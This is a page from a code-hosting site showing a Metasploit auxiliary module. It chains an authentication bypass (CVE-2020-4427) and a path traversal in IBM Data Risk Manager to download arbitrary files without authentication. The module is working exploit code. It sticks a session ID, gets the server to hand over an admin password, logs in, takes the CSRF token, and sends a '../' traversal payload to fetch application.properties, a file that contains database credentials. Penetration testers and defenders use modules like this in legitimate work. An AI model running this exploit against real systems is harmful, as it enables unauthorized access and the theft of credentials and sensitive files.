Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/ibm_drm_download.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'IBM Data Risk Manager Arbitrary File Download',15'Description' => %q{16IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by17an unauthenticated attacker to download arbitrary files off the system.18The first is an unauthenticated bypass, followed by a path traversal.19This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.20A downloaded file is zipped, and this module also unzips it before storing it in the database.21By default this module downloads Tomcat's application.properties files, which contains the22database password, amongst other sensitive data.23At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.24Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.25},26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module28],29'License' => MSF_LICENSE,30'DefaultOptions' => {31'SSL' => true32},33'References' => [34[ 'CVE', '2020-4427' ], # auth bypass35[ 'CVE', '2020-4429' ], # insecure default password36[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],37[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],38[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']39],40'DisclosureDate' => '2020-04-21',41'Actions' => [42['Download', { 'Description' => 'Download arbitrary file' }]43],44'DefaultAction' => 'Download',45'Notes' => {46'Reliability' => [ ],47'Stability' => [ CRASH_SAFE ],48'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]49}50)51)5253register_options(54[55Opt::RPORT(8443),56OptString.new('TARGETURI', [ true, 'Default server path', '/']),57OptString.new('FILEPATH', [58false, 'Path of the file to download',59'/home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties'60])61]62)63end6465def check66# at the moment there is no better way to detect AND be stealthy about it67session_id = Rex::Text.rand_text_alpha(5..12)68res = send_request_cgi({69'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),70'method' => 'GET',71'vars_get' => {72'id' => session_id,73'userName' => 'admin'74}75})76if res && (res.code == 302)77return Exploit::CheckCode::Detected78end7980Exploit::CheckCode::Unknown81end8283def create_session_id84# step 1: create a session ID and try to make it stick85session_id = Rex::Text.rand_text_alpha(5..12)86res = send_request_cgi({87'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),88'method' => 'GET',89'vars_get' => {90'id' => session_id,91'userName' => 'admin'92}93})94if res && (res.code != 302)95fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")96end9798print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")99100session_id101end102103def free_the_admin(session_id)104# step 2: give the session ID to the server and have it grant us a free admin password105post_data = Rex::MIME::Message.new106post_data.add_part('', nil, nil, 'form-data; name="deviceid"')107post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')108post_data.add_part('admin', nil, nil, 'form-data; name="username"')109post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')110post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')111112res = send_request_cgi({113'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),114'method' => 'POST',115'data' => post_data.to_s,116'ctype' => "multipart/form-data; boundary=#{post_data.bound}"117})118119unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]120fail_with(Failure::NoAccess, "#{peer} - Failed to obtain the admin password.")121end122123password = Regexp.last_match(1)124print_good("#{peer} - We have obtained a new admin password #{password}")125126password127end128129def login_and_csrf(password)130# step 3: login and get an authenticated cookie131res = send_request_cgi({132'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'),133'method' => 'POST',134'vars_post' => {135'userName' => 'admin',136'password' => password137}138})139unless res && (res.code == 302) && res.get_cookies140fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as an admin.")141end142143print_good("#{peer} - ... and are authenticated as an admin!")144cookie = res.get_cookies145url = res.redirection.to_s146147# step 4: obtain CSRF header in order to be able to make valid requests148res = send_request_cgi({149'uri' => url,150'method' => 'GET',151'cookie' => cookie152})153154unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/155fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate obtain CSRF cookie.")156end157csrf = Regexp.last_match(1)158159return cookie, csrf160end161162def run163# step 1: create a session ID and try to make it stick164session_id = create_session_id165166# step 2: give the session ID to the server and have it grant us a free admin password167password = free_the_admin(session_id)168169# step 3: login and get an authenticated cookie170# step 4: obtain CSRF header in order to be able to make valid requests171cookie, csrf = login_and_csrf(password)172173# step 5: download the file!174post_data = {175'instanceId' => 'local_host',176'logLevel' => 'DEBUG',177'logFileNameList' => "../../../../..#{datastore['FILEPATH']}"178}.to_json179180res = send_request_cgi({181'uri' => normalize_uri(target_uri.path, 'albatross', 'eurekaservice', 'fetchLogFiles'),182'method' => 'POST',183'cookie' => cookie,184'headers' => { 'CSRF-TOKEN' => csrf },185'data' => post_data.to_s,186'ctype' => 'text/json'187})188189unless res && (res.code == 200) && !res.body.empty?190fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")191end192193Zip::File.open_buffer(res.body) do |zipfile|194# Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't195# happen? Either we get nothing or a proper zip file.196file = zipfile.find_entry(File.basename(datastore['FILEPATH']))197unless file198fail_with(Failure::Unknown, "#{peer} - Incorrect file downloaded!")199end200201filedata = zipfile.read(file)202vprint_line(filedata.to_s)203fname = File.basename(datastore['FILEPATH'])204205path = store_loot(206'IBM_DRM.http',207'application/octet-stream',208rhost,209filedata,210fname211)212print_good("File saved in: #{path}")213end214end215end216217218